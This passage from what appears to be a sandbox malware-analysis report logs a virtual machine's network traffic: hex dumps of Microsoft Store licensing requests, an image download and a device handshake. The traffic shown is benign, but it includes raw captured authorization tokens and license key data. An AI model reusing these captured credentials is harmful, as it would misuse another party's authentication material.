70 51 4d 45 5a 7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 
44 56 69 61 6b 4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 
5a 6c 70 51 55 6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 
71 62 30 56 74 62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 
Data Ascii: FJTQUtleVZhbHVlPjxNb2R1bHVzPm9WU0pYSXREc2FBSWZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2R
DMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0VsTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzlmZ
XNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1C

2022-07-01 09:01:26 UTC 2234 IN Data Raw: 7a 61 57 35 6e 4f 6d 78 7a 49 6a 34 38 51 6d 6c 75 5a 47 6c 75 5a 79 42 43 61 57 35 6b 61 57 35 6e 58 31 52 
35 63 47 55 39 49 6b 31 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 
35 74 61 57 4e 79 62 33 4e 76 5a 6e 51 75 64 32 6c 75 5a 47 39 33 63 32 4e 76 62 57 31 31 62 6d 6c 6a 59 58 52 70 62 
32 35 7a 59 58 42 77 63 31 38 34 64 32 56 72 65 57 49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 4e 76 59 32 6c 68 
64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 45 
79 4f 54 59 77 4d 44 77 76 54 47 56 68 63 32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 77 76 51 6d 
6c 75 5a 47 6c 75 5a 7a 34 38 54 47 6c 6a 5a 57 35 7a 5a 55 6c 75 5a 6d 
Data Ascii: zaW5nOmxzIj48QmluZGluZyBCaW5kaW5nX1R5cGU9Ik1hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5ta
WNyb3NvZnQud2luZG93c2NvbW11bmljYXRpb25zYXBwc184d2VreWIzZDhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGV
hc2VSZW5ld2FsUGVyaW9kPjEyOTYwMDwvTGVhc2VSZW5ld2FsUGVyaW9kPjwvQmluZGluZz48TGljZW5zZUluZm

2022-07-01 09:01:26 UTC 2235 IN Data Raw: 33 54 46 52 61 61 31 70 55 51 58 52 50 56 30 6c 35 54 6e 70 61 61 6b 31 45 5a 7a 56 5a 56 31 45 79 53 57 
77 77 63 30 6c 74 64 48 42 69 62 56 46 70 54 32 6c 4b 52 47 49 79 4e 54 42 61 56 7a 55 77 53 57 6c 33 61 57 4e 48 52 
6d 70 68 4d 6b 5a 75 57 6c 68 4e 61 55 39 73 64 44 64 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6b 70 61 52 31 5a 31 5
a 45 64 73 62 57 46 58 56 6e 6c 4a 61 6d 39 70 54 6d 31 57 61 45 35 74 57 6d 70 4e 62 56 56 30 54 31 52 4e 64 30 35 
54 4d 44 46 50 52 46 70 70 54 46 52 4e 4d 45 31 55 52 58 52 4e 52 45 6b 30 54 57 70 61 61 30 31 55 56 58 68 4f 56 45 
31 36 53 57 6c 33 61 57 4e 48 52 6d 70 68 4d 6b 5a 75 57 6c 5a 53 4e 57 4e 48 56 57 6c 50 61 55 70 30 59 7a 4a 73 4e 
45 6c 70 64 32 6c 6a 53 45 70 32 57 6b 68 57 61 6d 52 46 52 6d 74 61 52 54 
Data Ascii: 3TFRaa1pUQXRPV0l5Tnpaak1EZzVZV1EySWwwc0ltdHBibVFpT2lKRGIyNTBaVzUwSWl3aWNHRmphM
kZuWlhNaU9sdDdJbkJoWTJ0aFoyVkpaR1Z1ZEdsbWFXVnlJam9pTm1WaE5tWmpNbVV0T1RNd05TMDFPR
FppTFRNME1URXRNREk0TWpaa01UVXhOVE16SWl3aWNHRmphMkZuWlZSNWNHVWlPaUp0YzJsNElpd2ljS
Ep2WkhWamRFRmtaRT

2022-07-01 09:01:26 UTC 2236 IN Data Raw: 61 4e 6a 46 42 63 58 41 76 4e 33 46 77 4d 31 6c 56 55 57 68 48 57 6e 41 38 4c 31 4e 51 54 47 6c 6a 5a 57 
35 7a 5a 55 4a 73 62 32 4e 72 50 6a 78 54 61 57 64 75 59 58 52 31 63 6d 55 67 65 47 31 73 62 6e 4d 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 
5a 79 4d 69 50 6a 78 54 61 57 64 75 5a 57 52 4a 62 6d 5a 76 50 6a 78 44 59 57 35 76 62 6d 6c 6a 59 57 78 70 65 6d 46 
30 61 57 39 75 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 
64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 78 4d 43 39 34 62 57 77 74 5a 58 68 6a 4c 57 4d 78 4e 
47 34 6a 49 69 41 76 50 6a 78 54 61 57 64 75 59 58 52 31 63 6d 56 4e 5a 58 
Data Ascii: aNjFBcXAvN3FwM1lVUWhHWnA8L1NQTGljZW5zZUJsb2NrPjxTaWduYXR1cmUgeG1sbnM9Imh0dHA6L
y93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyMiPjxTaWduZWRJbmZvPjxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEF
sZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8xMC94bWwtZXhjLWMxNG4jIiAvPjxTaWduYXR1cmVNZX

2022-07-01 09:01:26 UTC 2237 IN Data Raw: 47 53 48 42 6f 65 55 35 55 61 55 78 75 56 33 46 6e 53 56 6c 6f 53 55 31 5a 63 6e 4d 31 56 54 6c 6b 61 30 35 
53 57 55 35 6e 57 6d 56 36 64 6d 6b 72 54 57 4e 34 63 30 59 33 4b 32 74 53 62 6a 6c 71 4e 45 55 7a 63 54 42 57 4b 30 
78 54 54 56 4e 73 63 6b 30 72 54 6a 46 55 65 6c 5a 4c 54 30 46 69 57 44 5a 51 4e 46 4e 4b 5a 44 49 76 4b 7a 55 77 4f 
45 52 53 61 6c 52 6d 52 69 39 42 4d 45 31 4b 5a 58 52 6e 62 7a 4a 7a 51 30 6b 34 4f 54 55 31 65 48 4d 34 64 32 46 31 
56 30 64 68 57 6a 56 73 53 6e 46 4b 52 7a 68 49 54 45 35 73 65 47 78 6a 52 31 46 42 50 54 30 38 4c 31 4e 70 5a 32 35 
68 64 48 56 79 5a 56 5a 68 62 48 56 6c 50 6a 78 4c 5a 58 6c 4a 62 6d 5a 76 49 45 6c 6b 50 53 4a 66 4d 47 59 34 4d 57 
49 79 4e 47 59 74 59 6d 4d 30 4d 43 30 79 4e 7a 45 79 4c 54 42 6b 4e 57 
Data Ascii: GSHBoeU5UaUxuV3FnSVloSU1ZcnM1VTlka05SWU5nWmV6dmkrTWN4c0Y3K2tSbjlqNEUzcTBWK0xTT
VNsck0rTjFUelZLT0FiWDZQNFNKZDIvKzUwOERSalRmRi9BME1KZXRnbzJzQ0k4OTU1eHM4d2F1V0dhWjVsSnFKRzh
ITE5seGxjR1FBPT08L1NpZ25hdHVyZVZhbHVlPjxLZXlJbmZvIElkPSJfMGY4MWIyNGYtYmM0MC0yNzEyLTBkNW

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

129 192.168.2.5 49896 20.199.120.85 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:27 UTC 2238 OUT Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 32 32 33 63 36 36 34 30 39 65 
33 64 62 35 0d 0a 0d 0a 
Data Ascii: CNT 1 CON 246Context: 2a223c66409e3db5

2022-07-01 09:01:27 UTC 2238 OUT Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 
6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 
6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 
34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 
76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 
61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e 
Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc>
<lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</
deviceName></agent></connect>

Copyright Joe Security LLC 2022 Page 95 of 280



2022-07-01 09:01:27 UTC 2238 OUT Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 32 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 32 32 
33 63 36 36 34 30 39 65 33 64 62 35 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 
3e 74 3d 45 77 43 77 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 
62 6d 51 41 41 66 67 54 2f 37 30 52 32 76 44 6f 6a 4d 61 68 74 49 4e 66 45 44 49 77 65 37 44 41 45 63 6f 54 58 78 79 3
8 4f 42 65 43 7a 41 4c 4f 55 74 58 2b 42 6f 63 75 74 45 55 70 34 45 4e 49 43 39 37 56 74 43 59 72 36 78 44 6e 59 69 72 
38 49 38 62 30 37 47 53 38 44 67 6e 33 31 33 58 33 38 70 61 6a 4c 47 73 31 66 6f 79 70 46 4e 6e 55 73 41 47 54 45 69 
61 55 59 43 65 71 63 30 39 48 4e 33 39 50 67 5a 61 58 61 35 4d 76 6e 
Data Ascii: ATH 2 CON\DEVICE 1026Context: 2a223c66409e3db5<device><compact-ticket>t=EwCwAupIBAAU1bDG
fdaziDfXpjN5N6cYhT1wbmQAAfgT/70R2vDojMahtINfEDIwe7DAEcoTXxy8OBeCzALOUtX+BocutEUp4ENIC97VtC
Yr6xDnYir8I8b07GS8Dgn313X38pajLGs1foypFNnUsAGTEiaUYCeqc09HN39PgZaXa5Mvn

2022-07-01 09:01:27 UTC 2239 OUT Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 32 61 32 32 33 63 36 36 34 
30 39 65 33 64 62 35 0d 0a 0d 0a 
Data Ascii: BND 3 CON\QOS 29Context: 2a223c66409e3db5

2022-07-01 09:01:27 UTC 2239 IN Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a 
Data Ascii: 202 1 CON 58

2022-07-01 09:01:27 UTC 2239 IN Data Raw: 4d 53 2d 43 56 3a 20 53 63 31 49 69 77 77 45 43 6b 65 52 4e 52 77 6a 42 4a 2b 35 46 51 2e 30 0d 0a 0d 0a 
50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e 
Data Ascii: MS-CV: Sc1IiwwECkeRNRwjBJ+5FQ.0Payload parsing failed.

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

13 192.168.2.5 49741 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:00:37 UTC 150 OUT GET /image/apps.58298.9007199266285780.3d16d9fa-052b-42c5-ba7d-a5688e3dda24.55988ee1-bd9b-4322-980a-
a610abdc7713?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:37 UTC 151 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 29489
Content-Type: image/png
Last-Modified: Thu, 24 May 2018 00:36:03 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDVDMTBFNTRBMjBFNDk"
MS-CV: ueR7a/BKZkGigRoU.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:37 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:37 UTC 151 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 6c 00 00 02 6c 08 06 00 00 00 40 95 ff 25 00 00 00 
01 73 52 47 42 00 ae ce 1c e9 00 00 40 00 49 44 41 54 78 01 ec 9d 07 9c 5c 57 79 b7 df dd d9 de bb 56 ab de 65 59 b6 
e5 de 30 d5 40 28 09 21 04 48 20 21 84 1e 92 ef 0b e4 a3 25 21 84 00 01 52 80 10 48 42 8b 83 29 36 25 c6 dd c6 36 ee 
55 b2 65 4b 96 ad 5e 56 d2 f6 be b3 3b bd 7d e7 8c 91 51 d9 9d bd 77 e6 de 99 5b 9e e3 df 78 67 ee 3d e5 7d 9f f7 6a f6 
bf a7 96 05 ba 2f cd 08 09 02 10 80 00 04 20 00 01 08 40 c0 b1 04 ca 1d 6b 19 86 41 00 02 10 80 00 04 20 00 01 08 64 0
9 20 d8 78 10 20 00 01 08 40 00 02 10 80 80 c3 09 20 d8 1c 1e 20 cc 83 00 04 20 00 01 08 40 00 02 08 36 9e 01 08 40 
00 02 10 80 00 04 20 e0 70 02 08 36 87 07 08 f3 20 00 01 08 40 00 02 
Data Ascii: PNGIHDRll@%sRGB@IDATx\WyVeY0@(!H !%!RHB)6%6UeK^V;}Qw[xg=}j/ @kA d x @   @6@ p6 @

2022-07-01 09:00:37 UTC 167 IN Data Raw: 6c a6 02 f7 f0 ec 39 a6 f2 e7 ca 7c b1 c1 79 6c ba 8e ba 25 2b 73 55 75 ca bd a0 3a 18 3e 3a c6 0a e0 53 a0 
f0 01 02 1e 21 10 3e f2 9c 64 12 31 8f 78 83 1b 66 09 20 d8 cc 12 f3 50 7e 96 86 9b 0b a6 5e 29 3a 9d aa 37 57 68 9e dc 
6d 15 41 39 a7 c6 d8 f6 1e f5 4b 57 cd 53 cb dc 97 c7 9e 7e 54 f4 42 04 12 04 20 e0 2d 02 7c 67 7b 2b 9e 66 bd 41 b0 99 
25 e6 a1 fc fa 10 f8 e8 e0 61 0f 79 64 af 2b 7a 2f b6 47 42 9b 2d 6b e4 65 0d c6 f6 4f d3 c3 a2 15 75 0d 86 db 4d cc 4c cb 
d4 1e 16 95 18 06 46 46 08 b8 84 00 0b 0e 5c 12 28 9b cc 44 b0 d9 04 d6 2d d5 32 81 d5 5c a4 ee 9d 3d df 5c 81 1c b9 5f 
d6 60 7c 2f a5 7a 13 c3 a2 ba c9 a9 fd bb 24 3e 3d 99 a3 75 6e 41 00 02 6e 22 90 89 c7 24 7c 74 b7 9b 4c c6 56 8b 09 20 
d8 2c 06 ea b6 ea 58 78 60 2e 62 8f 84 ce 91 91 64 8b 
Data Ascii: l9|yl%+sUu:>:S!>d1xf P~^):7WhmA9KWS~TB -|g{+fA%ayd+z/GB-keOuMLFF\(D-2\=\_`|/z$>=unAn"$|tLV 
,Xx`.bd

2022-07-01 09:00:37 UTC 175 IN Data Raw: 3e 17 78 f4 de 1f fb d4 7b dc 86 c0 0b 04 10 6c 3c 09 be 27 10 39 b6 47 1d 61 f5 77 92 49 25 7d cf 02 00 10 70 
1a 81 e9 1d f7 c9 c0 8d 5f 77 9a 59 d8 03 81 a2 13 40 b0 15 1d 39 0d 3a 91 80 de 58 97 d3 10 9c 18 19 6c f2 33 81 e0 ae 
47 e4 f8 8f d8 18 d7 cf cf 00 be ff 86 00 82 ed 37 2c 78 e7 73 02 c1 e7 1e 55 bf 1c 3e a7 76 4d 4f fb 9c 04 ee 43 a0 f4 04 
66 76 3f 21 c7 7f f0 f7 1c 29 57 fa 50 60 81 43 08 20 d8 1c 12 08 cc 70 06 81 e9 1d 0f c8 f1 eb be c4 51 37 ce 08 07 56 f8 
94 80 5e 09 ca 34 05 9f 06 1f b7 e7 25 80 60 9b 17 0d 37 fc 4a 40 af 44 eb ff d9 bf f8 d5 7d fc 86 40 49 09 84 0e ee 90 a3 
1c 39 55 d2 18 d0 b8 33 09 20 d8 9c 19 17 ac 2a 31 81 c9 ad b7 cb c0 2f fe ad c4 56 d0 3c 04 fc 45 20 dc fb bc 1c 65 d5 
b6 bf 82 8e b7 86 09 20 d8 0c a3 22 a3 df 08 
Data Ascii: >x{l<'9GawI%}p_wY@9:Xl3G7,xsU>vMOCfv?!)WP`C pQ7V^4%`7J@D}@I9U3 *1/V<E e "

Session ID Source IP Source Port Destination IP
Destination
Port

Process

130 192.168.2.5 49897 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:27 UTC 2239 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.16
Content-Length: 4277
Host: licensing.mp.microsoft.com

2022-07-01 09:01:27 UTC 2241 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:27 UTC 2245 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:26 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7945
MS-CorrelationId: 6bcde3bc-b68c-45eb-baab-11b166e848da
MS-RequestId: 67071e64-de13-466a-9b2a-e8c113c2b0f6
MS-CV: UznHpAHqV0GMBdER.16.1530939414.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-hcvdn

2022-07-01 09:01:27 UTC 2246 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 37 33 30 39 30 38 34 61 2d 62 62 36 66 2d 32 
30 63 33 2d 65 61 35 34 2d 61 61 31 30 38 63 65 61 62 31 61 65 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"7309084a-bb6f-20c3-ea54-aa108ceab1ae"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:27 UTC 2247 IN Data Raw: 44 6f 79 4f 54 6f 31 4f 43 34 30 4f 44 55 79 4f 54 4e 61 50 43 39 43 5a 57 64 70 62 6b 52 68 64 47 55 2b 50 43 
39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 61 57 4e 70 5a 58 4d 2b 5a 
58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 70 54 32 6c 4a 4d 31 70 71 
54 54 46 4f 52 31 46 33 57 6c 4d 78 61 45 39 55 52 58 70 4d 56 46 4a 6f 57 56 52 42 64 45 39 45 52 54 46 61 51 7a 42 
36 57 6d 31 46 4e 56 70 74 53 6d 31 61 61 6b 70 70 57 6b 52 6e 61 57 5a 52 50 54 30 38 4c 30 4e 31 63 33 52 76 62 56 
42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 61 7a 35 47 51 55 46 42 51 
55 73 30 51 55 46 42 52 45 70 42 51 55 46 42 51 32 64 42 51 55 46 42 
Data Ascii: DoyOTo1OC40ODUyOTNaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3VzdG9tUG9sa
WNpZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJM1pqTTFOR1F3WlMxaE9URXpMVFJoWVRBdE9ER
TFaQzB6Wm1FNVptSm1aakppWkRnaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCbG9jaz5GQ
UFBQUs0QUFBREpBQUFBQ2dBQUFB

2022-07-01 09:01:27 UTC 2248 IN Data Raw: 6b 6b 39 49 69 49 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 46 52 79 59 57 35 7a 5a 6d 39 79 
62 53 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 
6e 4c 7a 49 77 4d 44 41 76 4d 44 6b 76 65 47 31 73 5a 48 4e 70 5a 79 4e 6c 62 6e 5a 6c 62 47 39 77 5a 57 51 74 63 32 
6c 6e 62 6d 46 30 64 58 4a 6c 49 69 41 76 50 6a 77 76 56 48 4a 68 62 6e 4e 6d 62 33 4a 74 63 7a 34 38 52 47 6c 6e 5a 
58 4e 30 54 57 56 30 61 47 39 6b 49 45 46 73 5a 32 39 79 61 58 52 6f 62 54 30 69 61 48 52 30 63 44 6f 76 4c 33 64 33 
64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 53 38 77 4e 43 39 34 62 57 78 6c 62 6d 4d 6a 63 32 68 68 4d 6a 55 
32 49 69 41 76 50 6a 78 45 61 57 64 6c 63 33 52 57 59 57 78 31 5a 54 35 6b 
Data Ascii: kk9IiI+PFRyYW5zZm9ybXM+PFRyYW5zZm9ybSBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzI
wMDAvMDkveG1sZHNpZyNlbnZlbG9wZWQtc2lnbmF0dXJlIiAvPjwvVHJhbnNmb3Jtcz48RGlnZXN0TWV0aG9kIEFsZ
29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS8wNC94bWxlbmMjc2hhMjU2IiAvPjxEaWdlc3RWYWx1ZT5k
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2022-07-01 09:01:27 UTC 2249 IN Data Raw: 30 78 58 5a 45 4d 79 4c 31 52 52 62 32 52 6e 5a 55 68 61 65 6d 4a 6b 51 6e 5a 34 53 6e 5a 4c 61 48 42 69 
63 6e 45 32 57 6c 41 77 52 6e 4e 54 52 57 78 4d 64 31 4a 76 54 45 46 74 64 6a 64 36 53 58 56 57 64 7a 4e 57 59 6a 64 
30 5a 6c 46 30 4e 57 4a 71 51 30 52 49 55 6b 46 48 4f 57 5a 6c 63 30 35 73 57 55 74 57 4d 33 6c 69 65 55 35 79 53 48 6
